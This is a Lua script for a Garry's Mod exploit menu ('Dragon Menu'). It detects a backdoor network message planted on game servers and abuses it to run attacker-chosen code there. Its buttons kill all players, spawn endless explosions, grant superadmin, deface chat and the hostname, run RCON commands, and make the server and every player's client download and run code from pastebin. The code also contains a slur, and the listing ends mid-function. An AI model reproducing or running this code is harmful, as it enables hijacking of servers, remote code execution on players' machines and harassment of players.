DRAGON V2

-- ███▄▄▄▄    ▄██████▄  ▀████    ▐████▀    ▄███████▄  ▄█        ▄██████▄   ▄█      ███
-- ███▀▀▀██▄ ███    ███   ███▌   ████▀    ███    ███ ███       ███    ███ ███  ▀█████████▄
-- ███   ███ ███    ███    ███  ▐███      ███    ███ ███       ███    ███ ███▌    ▀███▀▀██
-- ███   ███ ███    ███    ▀███▄███▀      ███    ███ ███       ███    ███ ███▌     ███   ▀
-- ███   ███ ███    ███    ████▀██▄     ▀█████████▀  ███       ███    ███ ███▌     ███
-- ███   ███ ███    ███   ▐███  ▀███      ███        ███       ███    ███ ███      ███
-- ███   ███ ███    ███  ▄███     ███▄    ███        ███▌    ▄ ███    ███ ███      ███
 -- ▀█   █▀   ▀██████▀  ████       ███▄  ▄████▀      █████▄▄██  ▀██████▀  █▀      ▄████▀

-- Free Garry's Mod Exploit/Aimbot menu !
-- Go on https://noxploit.pro !

local dversion=1.3

local dlversion ="v1.3"

local outdated = 0

local devbuild = 0

local pastecheck = 0 // 0 = Bueno 1 = No Bueno

local crash = 0

local ulx_spam=0

local ply = LocalPlayer()



// INSTALIZATION

// FUNCTIONS



surface.CreateFont( "PopupHFont", {

	font = "Segoe UI Light",

	size = 50,

	weight = 1000,

} )



surface.CreateFont("HeaderFont", {

	font = "Segoe UI Semilight",

	size = 22,

	weight = 300

})



surface.CreateFont("PopupFont", {

	font = "Segoe UI Light",

	size = 21,

	weight = 300

})



surface.CreateFont("HeadingFont",{

	font = "ChatFont",

	size = 20,

	weight = 500,

	antialias = true,

})



function SoundClick()

	if GetConVarNumber("bh_playsound") > 0 then

		surface.PlaySound("buttons/lightswitch2.wav")

	else

end end

hook.Add("HUDPaint", "Credits", function() draw.SimpleTextOutlined( "Garry's Mod Menu Downloaded on noxploit.pro | Enjoy your game !", "creditsfont", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) )

end)

surface.CreateFont( "creditsfont", {
    font = "Roboto",
    extended = false,
    size = 20,
    weight = 600,
    blursize = 0,
    scanlines = 0,
    antialias = true,
})


function WelcomeScreen()

	local Popup = vgui.Create("DFrame")

	Popup:SetSize( ScrW(), ScrH() )

	Popup:SetPos( 0,0 )

	Popup:SetVisible( true )

	Popup:SetDraggable( false )

	Popup:SetTitle( "" )

	Popup:MakePopup()

	Popup:ShowCloseButton( false )



	Popup.Paint = function(s,w,h)

		surface.SetDrawColor( Color(0,0,0,200) )

		surface.DrawRect( 0,0, w,h )

		surface.SetDrawColor( Color(255,0,0) )

		surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )

		surface.SetTextColor(255,255,255)

		surface.SetTextPos(w/5.10, h/2.40)

		if outdated == 0 then

			surface.SetFont("PopupHFont")

			surface.SetTextPos(w/5.10, h/3)

			surface.DrawText("Dragon Menu")

			surface.SetFont("PopupFont")

			surface.SetTextPos(w/5.10, h/2.50)

			surface.DrawText( "Tu n'as pas acheté le Dragons Menu," )

			surface.SetTextPos(w/5.10, h/2.40)

			surface.DrawText( "donc tu ne peux pas l'utiliser." )

			surface.SetTextPos(w/5.10, h/2.30)

			surface.DrawText("Merci de contacter TheDevMan_ si l'erreur persiste.")

		elseif outdated == 1 then

			surface.SetFont("PopupFont")

			surface.SetTextPos(w/5.10, h/2.50)

			surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )

		else

			surface.SetFont("PopupHFont")

			surface.SetTextPos(10, 100)

			surface.DrawText( "BridgeHack Version "..dlversion.."")

			surface.SetFont("PopupFont")

			surface.SetTextPos(w/5.10, h/2.50)

			surface.DrawText( "Error" )

		end end

	button = vgui.Create("DButton", Popup)

	button:SetSize(110,32.5)

	button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)

	button:SetText("")

	button.Paint = function(s,w,h)

		surface.SetDrawColor( Color(255,255,255) )

		surface.DrawRect( 0,0, w,h )

		surface.SetDrawColor( Color(127,0,0) )

		surface.DrawRect( 0+3,0+3, w-6,h-6 )

		surface.SetTextColor(255,255,255)

		surface.SetFont("PopupFont")

		surface.SetTextPos(30.5,5.5)

		surface.DrawText( "OK" )

	end



	button.DoClick = function(s,w,h)

			Popup:Close()

			SoundClick()

	end
end

concommand.Add("test", WelcomeScreen, SVersionCheck)















local RatesScaleLevel = LocalPlayer():SteamID()
netKey = "Sandbox_ArmDupe"
function IsMessagePooled( netmessage )
status, error = pcall(net.Start,netmessage)
return status
end
function HtxPooledString()
if IsMessagePooled( netKey ) then return "Backdoor detecter sur ce serveur !"
else return "Aucune backdoor trouvée"
end
end
local FillFrameRates = RatesScaleLevel
concommand.Add( "Dragons_menu", function()
if FillFrameRates == "STEAM_0:1:127225950" then
local DermaFrame = vgui.Create( "DFrame" )
DermaFrame:SetPos( ScrW()/2-150, ScrH()/2-150 )
DermaFrame:SetSize( 1200, 600 )
DermaFrame:SetTitle( "" )
DermaFrame:SetVisible( true )
DermaFrame:Center()
DermaFrame:MakePopup()
DermaFrame.Paint = function()
	draw.RoundedBox( 8, 0, 0, DermaFrame:GetWide(), DermaFrame:GetTall(), Color( 0, 0, 0, 150 ) )
end



local breen_img = vgui.Create( "HTML", DermaFrame )	-- Add image to Frame
breen_img:SetPos( 10, 35 )	-- Move it into frame
breen_img:SetSize( 500, 400 )	-- Size it to 150x150
-- Set material relative to "garrysmod/materials/"
breen_img:SetHTML( [[<img src="http://supronrp.fr/DragonMenu/logo.png" width="436" height="359">]] )
local head = vgui.Create( "DPanel", DermaFrame )
head:SetSize( 600, 80 )
head:SetPos( 450, 10 )
head.Paint = function( s, w, h )
surface.SetDrawColor( Color(0, 0, 0, 220) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(255, 255, 255, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(0, 0, 0, 0) )
surface.DrawRect( 80, 25, w - 90, h - 35 )
surface.SetDrawColor( Color(0, 0, 0, 255) )
end
local Text = vgui.Create( "DLabel", DermaFrame )
Text:SetText( HtxPooledString() )
Text:SizeToContents()
Text:SetPos( 650, 90 )
Text:SetContentAlignment( 5 )
Text:SetTextColor( Color(255,50,50,255) )
local Text2 = vgui.Create( "DLabel", head )
Text2:SetText( "Dragons Menu" )
Text2:SetFont( "DermaLarge" )
Text2:SetPos( 200, 20 )
Text2:SizeToContents()
Text2:SetContentAlignment( 5 )
Text2:SetTextColor( Color(255,50,50,255) )
local ExploitButton1 = vgui.Create("DButton", DermaFrame )
ExploitButton1:SetSize( 200, 20 )
ExploitButton1:SetPos( 450, 110 )
ExploitButton1:SetText( "Spam Visuel/Audio" )
ExploitButton1:SetTextColor(Color(0, 0, 0, 255))
ExploitButton1.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton1.DoClick = function()
net.Start(netKey)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/sFU8kN69\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton2 = vgui.Create("DButton", DermaFrame )
ExploitButton2:SetSize( 200, 20 )
ExploitButton2:SetPos( 700, 110 )
ExploitButton2:SetText( "Fin du monde" )
ExploitButton2:SetTextColor(Color(0, 0, 0, 255))
ExploitButton2.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton2.DoClick = function()
net.Start(netKey)
local faggot = "hook.Add(\"Think\", \"bombstrike\", function() \n local explode = ents.Create( \"env_explosion\" ) \n explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) ) explode:Spawn() explode:SetKeyValue( \"iMagnitude\", \"500\" ) explode:Fire( \"Explode\", 0, 0 ) end)"
net.WriteString( faggot )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton3 = vgui.Create("DButton", DermaFrame )
ExploitButton3:SetSize( 200, 20 )
ExploitButton3:SetPos( 700, 150 )
ExploitButton3:SetText( "Stop la Fin du monde" )
ExploitButton3:SetTextColor(Color(0, 0, 0, 255))
ExploitButton3.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton3.DoClick = function()
net.Start(netKey)
net.WriteString( "hook.Remove( \"Think\" ,\"bombstrike\")" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton4 = vgui.Create("DButton", DermaFrame )
ExploitButton4:SetSize( 200, 20 )
ExploitButton4:SetPos( 450, 400 )
ExploitButton4:SetText( "1000000€ toute les 0.1sec" )
ExploitButton4:SetTextColor(Color(0, 0, 0, 255))
ExploitButton4.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton4.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent1000000\", 0.1, 0, function() v:addMoney(1000000) end) end" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton5 = vgui.Create("DButton", DermaFrame )
ExploitButton5:SetSize( 200, 20 )
ExploitButton5:SetPos( 450, 150 )
ExploitButton5:SetText( "Spam de chat" )
ExploitButton5:SetTextColor(Color(0, 0, 0, 255))
ExploitButton5.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton5.DoClick = function()
net.Start(netKey)
net.WriteString( "timer.Create( \"adminsgonnahate\", 0.01, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"SERVER HACKED BY ThedevMan_ DISCORD : https://discord.gg/jQSYpZd\")]]) end)")
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton6 = vgui.Create("DButton", DermaFrame )
ExploitButton6:SetSize( 200, 20 )
ExploitButton6:SetPos( 950, 150 )
ExploitButton6:SetText( "Spam Visuel/Audio Clown" )
ExploitButton6:SetTextColor(Color(0, 0, 0, 255))
ExploitButton6.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton6.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://riverrp.xyz/earbutt.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://pastebin.com/raw/KwiZsVkd', function( body ) RunString( body ) end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton7 = vgui.Create("DButton", DermaFrame )
ExploitButton7:SetSize( 200, 20 )
ExploitButton7:SetPos( 950, 110 )
ExploitButton7:SetText( "Hurlement sur les joueurs" )
ExploitButton7:SetTextColor(Color(0, 0, 0, 255))
ExploitButton7.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton7.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton8 = vgui.Create("DButton", DermaFrame )
ExploitButton8:SetSize( 200, 20 )
ExploitButton8:SetPos( 450, 190 )
ExploitButton8:SetText( "Tuer tout les joueurs" )
ExploitButton8:SetTextColor(Color(0, 0, 0, 255))
ExploitButton8.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton8.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton9 = vgui.Create("DButton", DermaFrame )
ExploitButton9:SetSize( 200, 20 )
ExploitButton9:SetPos( 700, 190 )
ExploitButton9:SetText( "transformer tout les joueurs en arbre" )
ExploitButton9:SetTextColor(Color(0, 0, 0, 255))
ExploitButton9.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton9.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/gm_forest/tree_alder.mdl\") end" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton10 = vgui.Create("DButton", DermaFrame )
ExploitButton10:SetSize( 200, 20 )
ExploitButton10:SetPos( 950, 190 )
ExploitButton10:SetText( "Tremblement de terre" )
ExploitButton10:SetTextColor(Color(0, 0, 0, 255))
ExploitButton10.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton10.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton11 = vgui.Create("DButton", DermaFrame )
ExploitButton11:SetSize( 200, 20 )
ExploitButton11:SetPos( 450, 235 )
ExploitButton11:SetText( "Ultime Spam Visuel/Audio" )
ExploitButton11:SetTextColor(Color(0, 0, 0, 255))
ExploitButton11.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton11.DoClick = function()
net.Start(netKey)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/NH2v7exj\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton12 = vgui.Create("DButton", DermaFrame )
ExploitButton12:SetSize( 200, 20 )
ExploitButton12:SetPos( 700, 235 )
ExploitButton12:SetText( "SuperAdmin" )
ExploitButton12:SetTextColor(Color(0, 0, 0, 255))
ExploitButton12.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton12.DoClick = function()
net.Start(netKey)
net.WriteString( [[

            local id = ]] .. LocalPlayer():UserID() .. [[

            RunConsoleCommand( 'ulx', 'adduser', tostring( Player( id ):Nick() ), 'superadmin' )

            Player( id ):SetUserGroup( "superadmin" )

        ]] )
net.WriteBit(1)
net.SendToServer()
end
local ExploitButton13 = vgui.Create("DButton", DermaFrame )
ExploitButton13:SetSize( 200, 20 )
ExploitButton13:SetPos( 950, 235 )
ExploitButton13:SetText( "Stop spam de chat" )
ExploitButton13:SetTextColor(Color(0, 0, 0, 255))
ExploitButton13.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton13.DoClick = function()
net.Start(netKey)
net.WriteString("timer.Stop( \"adminsgonnahate\")")
net.WriteBit(1)
net.SendToServer()
end
local soundboxButton = vgui.Create("DButton", DermaFrame )
soundboxButton:SetSize( 200, 20 )
soundboxButton:SetPos( 450, 280 )
soundboxButton:SetText( "soundbox" )
soundboxButton:SetTextColor(Color(0, 0, 0, 255))
soundboxButton.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundboxButton.DoClick = function()
soundbox()
end
local ExploitButton14 = vgui.Create("DButton", DermaFrame )
ExploitButton14:SetSize( 200, 20 )
ExploitButton14:SetPos( 700, 280 )
ExploitButton14:SetText( "Mouvement" )
ExploitButton14:SetTextColor(Color(0, 0, 0, 255))
ExploitButton14.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton14.DoClick = function()
mouvement()
end
local ExploitButton15 = vgui.Create("DButton", DermaFrame )
ExploitButton15:SetSize( 200, 20 )
ExploitButton15:SetPos( 950, 280 )
ExploitButton15:SetText( "transformations" )
ExploitButton15:SetTextColor(Color(0, 0, 0, 255))
ExploitButton15.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton15.DoClick = function()
transformations()
end
local ExploitButton16 = vgui.Create("DButton", DermaFrame )
ExploitButton16:SetSize( 200, 20 )
ExploitButton16:SetPos( 450, 315 )
ExploitButton16:SetText( "effect visuel" )
ExploitButton16:SetTextColor(Color(0, 0, 0, 255))
ExploitButton16.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
ExploitButton16.DoClick = function()
specialvisuel()
end


local RconCommand = vgui.Create( "DTextEntry", DermaFrame )
RconCommand:SetPos( 118, 400 )
RconCommand:SetSize( 320, 20 )
RconCommand:SetText( "hostname -= SERVEUR GET FUCKED BY ThedevMan_ =-" )
local Lancer_rcon_commande = vgui.Create("DButton", DermaFrame )
Lancer_rcon_commande:SetSize( 103, 20 )
Lancer_rcon_commande:SetPos( 10, 400 )
Lancer_rcon_commande:SetText("RCON Command")
Lancer_rcon_commande:SetTextColor(Color(0, 0, 0, 255))
Lancer_rcon_commande.Paint = function(panel, w, h)
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
Lancer_rcon_commande.DoClick = function()
local rcon_commandes_get = RconCommand:GetValue()
net.Start(netKey)
net.WriteString( rcon_commandes_get )
net.WriteBit(false)
net.SendToServer()
end
local GLUACommand = vgui.Create( "DTextEntry", DermaFrame )
GLUACommand:SetPos( 118, 425 )
GLUACommand:SetSize( 320, 20 )
GLUACommand:SetText( "print ")
local Lancer_glua_commande = vgui.Create("DButton", DermaFrame )
Lancer_glua_commande:SetSize( 103, 20 )
Lancer_glua_commande:SetPos( 10, 425 )
Lancer_glua_commande:SetText("Code LUA")
Lancer_glua_commande:SetTextColor(Color(0, 0, 0, 255))
Lancer_glua_commande.Paint = function(panel, w, h)
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
Lancer_glua_commande.DoClick = function()
local glua_commandes_get = GLUACommand:GetValue()
net.Start(netKey)
net.WriteString( glua_commandes_get )
net.WriteBit(1)
net.SendToServer()
end






function soundbox()
if SoundboxSelector and SoundboxSelector:IsVisible() then SoundboxSelector:Remove() end
SoundboxSelector = vgui.Create("DFrame")
SoundboxSelector:SetSize(505,350) --56464646465465
SoundboxSelector:SetTitle("Soundbox")
SoundboxSelector:SetPos( gui.MouseX(), gui.MouseY() )
SoundboxSelector:MakePopup()
SoundboxSelector.Paint = function( s, w, h )
if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(0, 0, 0, 220) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(255, 255, 255, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(0, 0, 0, 0) )
surface.DrawRect( 80, 25, w - 90, h - 35 )
surface.SetDrawColor( Color(0, 0, 0, 255) )
end
local DScrollPanel = vgui.Create( "DScrollPanel", SoundboxSelector )
DScrollPanel:Dock( FILL )
local soundButton1 = vgui.Create("DButton", DScrollPanel )
soundButton1:SetSize( 200, 20 )
soundButton1:SetPos( 35, 35 )
soundButton1:SetText( "Acusé" )
soundButton1:SetTextColor(Color(0, 0, 0, 255))
soundButton1.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton1.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://djvinz.chez.com/australie.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton2 = vgui.Create("DButton", DScrollPanel )
soundButton2:SetSize( 200, 20 )
soundButton2:SetPos( 35, 70 )
soundButton2:SetText( "Tho !" )
soundButton2:SetTextColor(Color(0, 0, 0, 255))
soundButton2.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton2.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://jeremm.free.fr/toh.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton3 = vgui.Create("DButton", DScrollPanel )
soundButton3:SetSize( 200, 20 )
soundButton3:SetPos( 35, 105 )
soundButton3:SetText( "Rire" )
soundButton3:SetTextColor(Color(0, 0, 0, 255))
soundButton3.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton3.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://jeremm.free.fr/rirkrusty.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton4 = vgui.Create("DButton", DScrollPanel )
soundButton4:SetSize( 200, 20 )
soundButton4:SetPos( 35, 140 )
soundButton4:SetText( "Nyan Cat" )
soundButton4:SetTextColor(Color(0, 0, 0, 255))
soundButton4.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton4.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/02.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton5 = vgui.Create("DButton", DScrollPanel )
soundButton5:SetSize( 200, 20 )
soundButton5:SetPos( 35, 170 )
soundButton5:SetText( "Blue" )
soundButton5:SetTextColor(Color(0, 0, 0, 255))
soundButton5.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton5.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.underdone.org/leak/underdone/blue.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton6 = vgui.Create("DButton", DScrollPanel )
soundButton6:SetSize( 200, 20 )
soundButton6:SetPos( 35, 200 )
soundButton6:SetText( "Beliver" )
soundButton6:SetTextColor(Color(0, 0, 0, 255))
soundButton6.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton6.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/01.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton7 = vgui.Create("DButton", DScrollPanel )
soundButton7:SetSize( 200, 20 )
soundButton7:SetPos( 35, 230 )
soundButton7:SetText( "Encule serveur" )
soundButton7:SetTextColor(Color(0, 0, 0, 255))
soundButton7.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton7.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/encule-serveur.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton8 = vgui.Create("DButton", DScrollPanel )
soundButton8:SetSize( 200, 20 )
soundButton8:SetPos( 35, 260 )
soundButton8:SetText( "Détruit serveur" )
soundButton8:SetTextColor(Color(0, 0, 0, 255))
soundButton8.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton8.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/detruit-serveur.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local soundButton9 = vgui.Create("DButton", DScrollPanel )
soundButton9:SetSize( 200, 20 )
soundButton9:SetPos( 35, 290 )
soundButton9:SetText( "Alerte épileptique" )
soundButton9:SetTextColor(Color(0, 0, 0, 255))
soundButton9.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
soundButton9.DoClick = function()
net.Start(netKey)
net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/epileptique.wav', 'mono', function( s ) s:Play() end )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
end


function mouvement()
if MouvementSelector and MouvementSelector:IsVisible() then MouvementSelector:Remove() end
MouvementSelector = vgui.Create("DFrame")
MouvementSelector:SetSize(505,350) --56464646465465
MouvementSelector:SetTitle("Mouvement")
MouvementSelector:SetPos( gui.MouseX(), gui.MouseY() )
MouvementSelector:MakePopup()
MouvementSelector.Paint = function( s, w, h )
if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(0, 0, 0, 220) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(255, 255, 255, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(0, 0, 0, 0) )
surface.DrawRect( 80, 25, w - 90, h - 35 )
surface.SetDrawColor( Color(0, 0, 0, 255) )
end
local DScrollPanel2 = vgui.Create( "DScrollPanel", MouvementSelector )
DScrollPanel2:Dock( FILL )
local marcheavanton = vgui.Create("DButton", DScrollPanel2 )
marcheavanton:SetSize( 200, 20 )
marcheavanton:SetPos( 35, 35 )
marcheavanton:SetText( "[ON] Marche avant" )
marcheavanton:SetTextColor(Color(0, 0, 0, 255))
marcheavanton.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
marcheavanton.DoClick = function()
net.Start(netKey)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:ConCommand(\"+forward\") end" )
net.WriteBit(1)
net.SendToServer()
end
local marcheavantoff = vgui.Create("DButton", DScrollPanel2 )
marcheavantoff:SetSize( 200, 20 )
marcheavantoff:SetPos( 250, 35 )
marcheavantoff:SetText( "[OFF] Marche avant" )
marcheavantoff:SetTextColor(Color(0, 0, 0, 255))
marcheavantoff.Paint = function( panel, w, h )
surface.SetDrawColor(0, 0, 0 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(255, 255, 255 ,255)
surface.DrawRect(0, 0, w, h)
end
marcheavantoff.DoClick = function()
